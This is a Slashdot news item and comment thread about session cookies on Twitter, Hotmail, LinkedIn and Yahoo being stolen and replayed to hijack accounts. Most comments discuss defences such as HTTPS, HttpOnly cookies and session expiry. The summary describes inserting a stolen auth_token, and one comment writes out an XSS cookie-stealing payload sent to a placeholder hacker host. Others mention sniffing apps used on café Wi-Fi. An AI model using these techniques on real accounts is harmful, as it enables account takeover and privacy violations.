Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Twitter, Hotmail, LinkedIn, Yahoo Open To Hijacking

Soulskill posted about a year ago | from the another-day-another-way-to-steal-data dept.

Security 50

mask.of.sanity writes "Twitter, Linkedin, Yahoo! and Hotmail accounts are open to hijacking thanks to a flaw that allows cookies to be stolen and reused. Attackers need to intercept cookies while the user is logged into the service because the cookies expire on log-out (except LinkedIn, which keeps cookies for three months). The server will still consider them valid. For the Twitter attack, you need to grab the auth_token string and insert it into your local Twitter cookies. Reload Twitter, and you'll be logged in as your target (video here). Not even password changes will kick you out."

cancel ×

50 comments

Sorry! There are no comments related to the filter you selected.

Not a new exploit (5, Insightful)

ais523 (1172701) | about a year ago | (#43246239)

This isn't exactly a new exploit (I remember the Firesheep event where someone made hijacking Facebook accounts like this user-friendly, but don't have a link handy). One problem with actually doing this is that you need access to the data as the victim's sending it (e.g. via sniffing unencrypted wi-fi, or physical access to the network that the victim is using); that still gives several possible targets (especially the wi-fi angle), but makes it much harder to use against arbitrary targets.

(The simplest fix, of course, is to use https for all cookie handling, which probably means https for every page access.)

So this is old news, although a reminder that this is still possible is definitely worthwhile.

Re:Not a new exploit (3, Informative)

Anonymous Coward | about a year ago | (#43246441)

Of course, if the user is logged in you force them into https on every page, public or private. This is session hijacking prevention 101. It was very hard to convince my clients of that though.

Re:Not a new exploit (2)

jest3r (458429) | about a year ago | (#43246857)

All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. Assuming Yahoo doesn't filter out he embedded code the hackers gets the victim's cookies.

Simplified example:
Embedded image src in email: http://www.hacker.com/cookieparser.php?default=<script>alert(document.cookie)</script>

Obviously more complicated because you need to mask your embedded code to get through the filters but that is the basis of the XSS hack that has been hitting Yahoo all year ...

And because the sessions on the server never expire the hacker can gain access. I'm not sure how https would help in this scenario.

- Basically you need to pass a salted, hashed version of the session ID or random string (as a hidden form field) on all page views or form submissions and check that against both the session cookie and the hidden form field to make sure the cookie is coming from the original source (since there would be no way for the hacker to get that string as well). And invalidate the session if it doesn't match up. Also expire and delete the sessions after 6 hours of inactivity would help as well.

Re:Not a new exploit (1)

ais523 (1172701) | about a year ago | (#43247021)

https is used to prevent session fixation working without a secondary exploit. If you have a secondary exploit that allows access to the cookie (e.g. the XSS exploit you're describing), then a different fix is needed for the different exploit (for instance, fixing the XSS hole itself, or marking the cookies as http-only so that they can't be accessed via JavaScript). If you don't have https, then someone with access to the victim's network doesn't need another exploit at all; their network access is enough in its own right.

In this case, it seems that some of the services were using https to protect the cookie and had secondary exploits, and others weren't protecting the cookie and so the secondary exploits weren't needed.

(Also, your suggested fix doesn't work; what's causing the server to send the hidden form field? There's no obvious way to send it to the user-who-has-a-cookie unless you also send it to the attacker-who-has-a-cookie. Unless you make the user log in on every page view, which would be ridiculous (although at least Bugzilla can optionally fall back to that mechanism if the user isn't accepting cookies).

Re:Not a new exploit (1)

ais523 (1172701) | about a year ago | (#43247033)

Actually, correction: this isn't session fixation, it's a replay attack (as earlzdotnet points out). Session fixation is where you make the user use the attacker's cookie, rather than the other way round. (Less useful but still potentially exploitable.)

Re:Not a new exploit (1)

CKW (409971) | about a year ago | (#43247259)

> All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. ..snip..
>
> Simplified example:
Embedded image src in email: http://www.hacker.com/cookieparser.php?default= [hacker.com] alert(document.cookie)

I hope I don't understand that correctly.

WHY is any browser expressing a cooking via javascript as a target of a link to a site that has nothing to do with the cookie?

WHY would any browser allow any method of sending cookies to sites OTHER than the ones the cookie identifies with?

They can't possibly expect every application and website developer in the world to write huge amounts of complicated "cleaning" code. That's idiotic. Why would they, in this day and age, introduce functionality in the specifictions that allow stuff like this?

If Yahoo can't keep with all the "functionality" that's available via javascript, you can guess how far behind the curve the application developers are at your small midwest bank.

Re:Not a new exploit (4, Informative)

JoshRosenbaum (841551) | about a year ago | (#43247367)

All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. Assuming Yahoo doesn't filter out he embedded code the hackers gets the victim's cookies.

This assumes Yahoo doesn't filter. Every online company is most definitely going to filter javascript. No website wants someone to inject javascript into their pages. Your attack only works if there is a bug in the filter.

Simplified example:
Embedded image src in email: http://www.hacker.com/cookieparser.php?default=<script>alert(document.cookie)</script&gt [hacker.com] ;

If the user can inject javascript, they don't even need to use an image. They can directly do whatever they want in javascript.

Obviously more complicated because you need to mask your embedded code to get through the filters but that is the basis of the XSS hack that has been hitting Yahoo all year ...

If this was true, Yahoo would be completely incompetent for not patching their filter. Do you have a source for this?

And because the sessions on the server never expire the hacker can gain access. I'm not sure how https would help in this scenario.

Session expiration only can minimize the possible damage. In reality, the second the attacker gets the session id they could do whatever they wanted with it. Unless you are expiring the session every second, it does not stop an instant attack. I do agree that it can help minimize the danger, though, so it is still useful.

Basically you need to pass a salted, hashed version of the session ID or random string (as a hidden form field) on all page views or form submissions and check that against both the session cookie and the hidden form field to make sure the cookie is coming from the original source (since there would be no way for the hacker to get that string as well). And invalidate the session if it doesn't match up. Also expire and delete the sessions after 6 hours of inactivity would help as well.

Your whole assumption is based on the attacker having access to javascript. If they have that, then your hidden form field is useless, because they have access to that as well.

Real solution for your javascript attack method: Add HTTP_ONLY attribute to cookies, which prevents javascript access.

As far as stopping a person attacking by sniffing the line, HTTPS is the only way to fix that. I could possibly see a way for a site to create a predetermined key for the user and store it with HTML5 Web Storage. Then submissions via javascript could use that key to sign the content being submitted. (Or encrypt it outright.) Since most of these attacks are drive-bys, it's less likely the attacker would have the pre-negotiated key. This is a more complicated solution and has its own flaws of course.

Re:Not a new exploit (1)

Synerg1y (2169962) | about a year ago | (#43247145)

I agree, it's more of a general problem with single step auth (session hijacking)... but if somebody's getting a hold of your cookies you've got all sorts of problems, twitter being the least of them compared to say a financial account (though those tend to be more secure, the connection/machine are still compromised).

Also, firesheep is overrated, nobody respectable uses hubs on their network.

Re:Not a new exploit (1)

pnutjam (523990) | about a year ago | (#43247243)

Why use a hub when arp poisoning is so much easier.

Re:Not a new exploit (1)

fast turtle (1118037) | about a year ago | (#43247459)

free wifi at many restaraunts have a MiTM page that could easily be used to hijack many accounts - I've already seen what could be construed as a MiTM attack using my Nexus 7 on a free wifi with a landing page. Was attempting to google something and got the business page after being redirected to their acceptable use page instead of the google search page.

Server Name Indication (2)

tepples (727027) | about a year ago | (#43248025)

The simplest fix, of course, is to use https for all cookie handling, which probably means https for every page access.

The problem with having HTTPS on every logged-in page access is that Internet Explorer for Windows XP and Android Browser for Android 2.x lack support for Server Name Indication. This means that if a web server hosts more than one domain using name-based virtual hosting, a browser using an SNI-incapable SSL stack can't see any certificate past the first, and users will see a certificate error. In this era of IPv4 address scarcity, this especially hurts hobbyist sites on shared web hosting, whose operators don't necessarily have the money for a VPS with its own IP address. For example, this [pineight.com] looks fine on Chrome, Firefox, or IE 9+, but it gives a cert error on Gingerbread's browser and IE 8 on XP. Windows XP will pass out of support in 13 months, but seeing how prepaid wireless carriers are still selling Android 2.3 devices, I don't see the SNI problem ending any time soon.

Re:Not a new exploit (1)

helix2301 (1105613) | about a year ago | (#43248439)

I remember a year or 2 ago twitter had an exploit similar to this I agree this is old new news lol

Re:Not a new exploit (1)

ninlilizi (2759613) | about a year ago | (#43250415)

There are even Android apps that automate the process. Although there not on the market.

This is one http://droidsheep.de/ [droidsheep.de]
And the other, which I've played with is FaceNiff. But the author stopped supplying new keys for it a long time back.

It's great for posting "I'm the ghost of the person who died building your Macbook" threads and articles onto the Facebook walls of random Apple users who are hooked upto the free Wifi in Starbucks.

Hotmail (4, Funny)

thepike (1781582) | about a year ago | (#43246243)

Hotmail still exists?

Re:Hotmail (2)

0123456 (636235) | about a year ago | (#43246661)

No, they switched everyone to the crappy Metroised 'Outlook' now.

It also appears to use SSL by default now, so cookie stealing will be tough.

Re:Hotmail (0)

Anonymous Coward | about a year ago | (#43246745)

There's a small tech blog you might want to follow.

Microsoft Unveils Outlook.com, Hotmail's Successor [slashdot.org]

Re:Hotmail (2)

alexgieg (948359) | about a year ago | (#43246817)

In a way. If you have an old e-mail address ending in "@hotmail.com" it's still valid but only as an alias of your new "@outlook.com" one (if you take the trouble of creating one).

Also, Outlook.com is quite nice now that Google scrapped the free Apps version. Last time I checked Microsoft was providing 500 or so e-mail accounts for free for domain owners. The all Metro interface is somewhat meh but whatever, for a free service (that you can replace anytime given you own the domain) it works well enough.

firesheep (0)

Anonymous Coward | about a year ago | (#43246267)

seriously, if you don't have cookie authentication, all the interrelated services on those sites would require logins every time you view the page. It's a feature that these sites retain your auth for days or longer on purpose as a cookie. It's not trivial to get the cookie from the user unless you can log onto their system or intercept plain http using XSS or similar.

see http://codebutler.com/firesheep/ for an example of this over a year ago....

kind of surprising that this security expert is just finding out about this now, and assuming that it's not common knowledge

Hijacking ha (4, Informative)

earlzdotnet (2788729) | about a year ago | (#43246269)

This is called a Replay Attack. And protecting against it is very difficult without either (a) requiring huge server overhead or (b) making a user prone to "session invalid" type errors when making multiple tabs on the website

Re:Hijacking ha (1)

earlzdotnet (2788729) | about a year ago | (#43246351)

As it stands, this isn't a story big enough to make the news. All the cookies are kept over HTTPS, so when getting a user's cookie is as easy as truly "breaking" HTTPS, there is little risk and numerous other websites will have this same "problem"

Also, what do you bet they have at least some protection against replay attacks like ensuring client side IP address or some such matches along with other unique identifiers. Although, making cookies like this last for a month or more at a time does feel pretty unsafe. Web security 101 is to ensure cookies ALWAYS expire. (ie, by hashing the expiration date with the auth token or some such)

Store an expiration date for each session ID (1)

tepples (727027) | about a year ago | (#43248101)

This is called a Replay Attack. And protecting against it is very difficult

How would it be so difficult? The attack wouldn't work on, say, PhilsHobbyShop.com because each session record stores an expiry time. Normally they expire 16 hours after creation, after which the session ID can no longer be used to gain the user's privileges. At any time, the user can set expiry to the current time by clicking "log out".

Re:Store an expiration date for each session ID (1)

earlzdotnet (2788729) | about a year ago | (#43248389)

...And so the "Remember Me" option for logging in is pointless then because after 16 hours you'll have to login again. Unless you mean they create a new session token automatically or bump the expiry... oh wait, an attacker could do that same thing as well if they have a copy of the cookie

Re:Store an expiration date for each session ID (0)

Anonymous Coward | about a year ago | (#43251339)

With every browser storing the username/password for your sites, so the hell what?

SSL/HTTPS (4, Insightful)

bradgoodman (964302) | about a year ago | (#43246283)

Isn't this very, very old news? As I recall - nearly any session can be hijacked in this way. **IF** you don't use a secure connection SSL/HTTPS. This is why sites like Google and Facebook now *strongly* prefer HTTPS connections, because they are not vulnerable to snooping the cookies.

Re:SSL/HTTPS (1)

synapse7 (1075571) | about a year ago | (#43246449)

I don't believe yahoo or hotmail use https by default for mail. My GF can attest to his for hotmail.

Re:SSL/HTTPS (1)

0123456 (636235) | about a year ago | (#43246727)

As mentioned above, the new crappy 'Outlook' site that replaced hotmail appears to force SSL. Looks like Yahoo Mail has a 'force SSL' option, but you have to explicitly turn it on. No idea why it's not on by default.

Re:SSL/HTTPS (0)

Anonymous Coward | about a year ago | (#43246987)

As mentioned above, the new crappy 'Outlook' site that replaced hotmail appears to force SSL. Looks like Yahoo Mail has a 'force SSL' option, but you have to explicitly turn it on. No idea why it's not on by default.

One guess would be because of ads. Switching all ad-serving infrastructure (including 3rd party ad serving) to https is not trivial (but they should have been able to do this by now)

HTTPS Everywhere plugin (1)

ssam (2723487) | about a year ago | (#43246341)

Will the HTTPS Everywhere pluggin protect me from this?

Re:HTTPS Everywhere plugin (2)

Eggbloke (1698408) | about a year ago | (#43246465)

HTTPS Everywhere can't magically make a site use HTTPS. It just requests HTTPS pages from sites that have it enabled.

Using two cookies? (3, Insightful)

cgimusic (2788705) | about a year ago | (#43246413)

From the article "He said a quick fix for some complex frameworks could be to utilise two cookies for the login process." How exactly would that help. Maybe I am just misunderstanding how the attack works but what is to stop the attacker stealing both cookies and using them?

Session Fixation? I don't think so. (5, Interesting)

datajack (17285) | about a year ago | (#43246435)

I dodn't think my opinion of SC magazine could get any lower, then they publish this!

Despite what TFA says, this is not a session fixation vulnerability, this is simple session hijacking - with the willing cooperation of the 'victim'.

Session Fixation (for those who don't know the term) does not involve stealing the victim's session cookie at all. It is precisely the opposite :-
* The attacker connects to the service without authenticating but creating an application session.
* The attacker accesses the newly created session cookie and somehow (using whatever other vulns or methods available to them) manages to inject that into the victim's browser before they have logged into the target system.
* The victim accesses the target system. their browser supplies the injected session cookie to the server and it is accepted as an existing session.
* The victim logs in. If the target system is vulnerable to fixation, the victim has just authenticated the session that the attacker created.

The protection against this is for the server to destroy the currently active session and create a new one at the point of successful authentication.

Whilst there are mitigation techniques against session hijacking, they all have their own complications and problems and have varying degrees of effectiveness.
keeping the session id cookie a secret between the user and server is a fundamental part of web security and a failure at this level has not been demonstrated here.

Re:Session Fixation? I don't think so. (1)

bradgoodman (964302) | about a year ago | (#43246775)

What your saying makes sense. Maybe they mean doing this via man-in-the-middle attack?

If so...again, SSL fixes this.

Re:Session Fixation? I don't think so. (2)

datajack (17285) | about a year ago | (#43247195)

They aren't talking about any method of gaining access to the cookie, just demonstrating what you can do one you have, somehow, magically, gained the information. May as well demonstrate what you can do if the victim tells you their passwords.

Re:Session Fixation? I don't think so. (0)

Anonymous Coward | about a year ago | (#43246803)

Finally, someone who gets the real issue here! Great reply datajack!

Re:Session Fixation? I don't think so. (0)

Anonymous Coward | about a year ago | (#43247125)

Iv'e been studying for my CompTIA Security+ recently, but have plenty of years experience in the field, soon as i saw the video it was clear as day what this attack really was, basic session hijacking.

Missing the point (1)

Anonymous Coward | about a year ago | (#43246611)

I agree that this isn't big news. However, the comments here seem to be missing the point a bit. The issue isn't entirely with HTTPS/SSL. Yes, that could help prevent leaking the session details, but an XSS vulnerability (even with HTTPS/SSL) could leak the cookie information to an attacker. I think the bigger issue is that these services are not properly handling their sessions during log ons and log outs. If you look at the OP's video he is able to get back into this Twitter account after a supposed "successful" logout. An old session should not be able to be used after the user has logged out or their session has timed out. I disagree with the post that says this is difficult to protect against without huge overhead or being prone to errors. It's actually very simple- properly terminate sessions during logout so they can't be reused.

How authentication cookies should work (1)

crow (16139) | about a year ago | (#43246659)

This is a very simple problem to solve. Just make the authentication cookie contain a hash of several lines of key data (MD5 or whatever is considered secure today). The key data should include your password, IP address, and the cookie expiration time. It could also include your browser ID string and other things that might be useful to keep consistent.

The only problem with the above as described is that it requires the server to save your plaintext password, but the same scheme would work with a hash of the password. The cookie could even be generated by the browser without interacting with the web site at all, except that it would need to know the IP address as seen by the web site (NAT makes that difficult to know).

If you leave out the IP address from the hash, then it is more convenient for computers that move frequently, but is obviously less secure.

Re:How authentication cookies should work (1)

interval1066 (668936) | about a year ago | (#43246833)

The key data should include your password, IP address, and the cookie expiration time.

Even if encrypted, why include the pw? Also, and this is my own ignorance here, but it sounds to me like the attacker still needs access to the target's workstation. Such attacks are low on my list of security problems, at least in my current working environment.

Re:How authentication cookies should work (1)

hawguy (1600213) | about a year ago | (#43246909)

This is a very simple problem to solve. Just make the authentication cookie contain a hash of several lines of key data (MD5 or whatever is considered secure today). The key data should include your password, IP address, and the cookie expiration time. It could also include your browser ID string and other things that might be useful to keep consistent.

The only problem with the above as described is that it requires the server to save your plaintext password, but the same scheme would work with a hash of the password. The cookie could even be generated by the browser without interacting with the web site at all, except that it would need to know the IP address as seen by the web site (NAT makes that difficult to know).

If you leave out the IP address from the hash, then it is more convenient for computers that move frequently, but is obviously less secure.

If you use the IP address as part of the authentication, every time my employer (or ISP) NATs my traffic through a different IP address, I'll have to log on again.

This is particularly troublesome with cell phones, my phone might get a dozen different IP addresses a day as I transition from home to the cellular network to various hot spots on my commute to work and back again.

Re:How authentication cookies should work (1)

JoshRosenbaum (841551) | about a year ago | (#43247639)

IP address certainly seems like a great way to filter, but some users are switching IP addresses randomly by using proxies or get new IP addresses more often, because of their connection. So IP can be an unreliable detection method. Also, since it's possible the person is on your network when sniffing your request, they could possibly just use your same IP address anyway.

Using the browser ID (or other headers) is no good either, because the attacker can sniff and use that as well. In fact, nothing that is in a request or response can be helpful, because the attacker can sniff all that and craft their headers to be the same.

HTTPS is the way to stop all this.

The only thing I can see being helpful would maybe be some sort of prenegotiated key to sign the requests with. It would have to be negotiated before the attacker sniffs the connection and last for a long time, though.

Congratulations! (0)

Anonymous Coward | about a year ago | (#43246867)

Congrats, you just discovered cookies!

Spoiler: if a hacker can log your keystrokes and get your passwords, they can also log into your online accounts!

Tune in next week when we explain how running virus.exe can be bad for your computer

Yahoo Account Go Bye Bye (1)

astapleton (324242) | about a year ago | (#43247267)

Well, that explains how my Yahoo account got hacked a couple of weeks ago. No more Yahoo for me.

Re:Yahoo Account Go Bye Bye (1)

cgimusic (2788705) | about a year ago | (#43247557)

"Well, that explains how my Yahoo account got hacked a couple of weeks ago." No.

Three Steps (2)

Jason Levine (196982) | about a year ago | (#43248147)

Step 1: Create a cool new Twitter application that everyone wants to use
Step 2: Store auth_token strings from users.
Step 3: When a few mega-popular users have tried your service, use the auth_token/cookie method to begin Tweeting as them.
Step 4: Profit.

Also, relevant XKCD: http://xkcd.com/792/

Re:Three Steps (1)

halcyon1234 (834388) | about a year and a half ago | (#43273199)

Step 1: Create a meme that encourages people to tweet their auth_token cookie. Make it into some inane dick-waving contest like "Who has the most 8s in their cookie?" or "LOL what wurd does your auth_token spell?". It might reach the levels of UID comparison on Slashdot.

Step 2: Point a bot at #AuthTokenDickWaving.

Step 3: Fuck step 3. You're done.

Err... (0)

Anonymous Coward | about a year ago | (#43249461)

And this is news? Welcome to 2013.

Nothing new. (2)

EkriirkE (1075937) | about a year ago | (#43250073)

I used to use this exact method to show people that open wifi is bad, I can just copy/paste the captured Set-Cookie:s from the header and paste them into my browser's cookies.txt and voilla I'm using [website] as them. This was 10 years ago.

Re:Nothing new. (0)

Anonymous Coward | about a year and a half ago | (#43254021)

Nothing wrong with open wifi per-se, everything wrong with people not applying SSL over it. ;-)

Re:Nothing new. (1)

EkriirkE (1075937) | about a year and a half ago | (#43276263)

Ture, but even then I could tell what sites there were viewing based on DNS queries/IP. Mr. Straighlace might not like that I can see he's browsing https :// hungshemales.com every night.

It's in http's nature (1)

prsm (2874171) | about a year and a half ago | (#43257765)

I always thought of this as a nature of the web itself. Does it really have a workaround, except securing the traffic itself?
Check for New Comments
Slashdot Login

Need an Account?

Forgot your password?

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>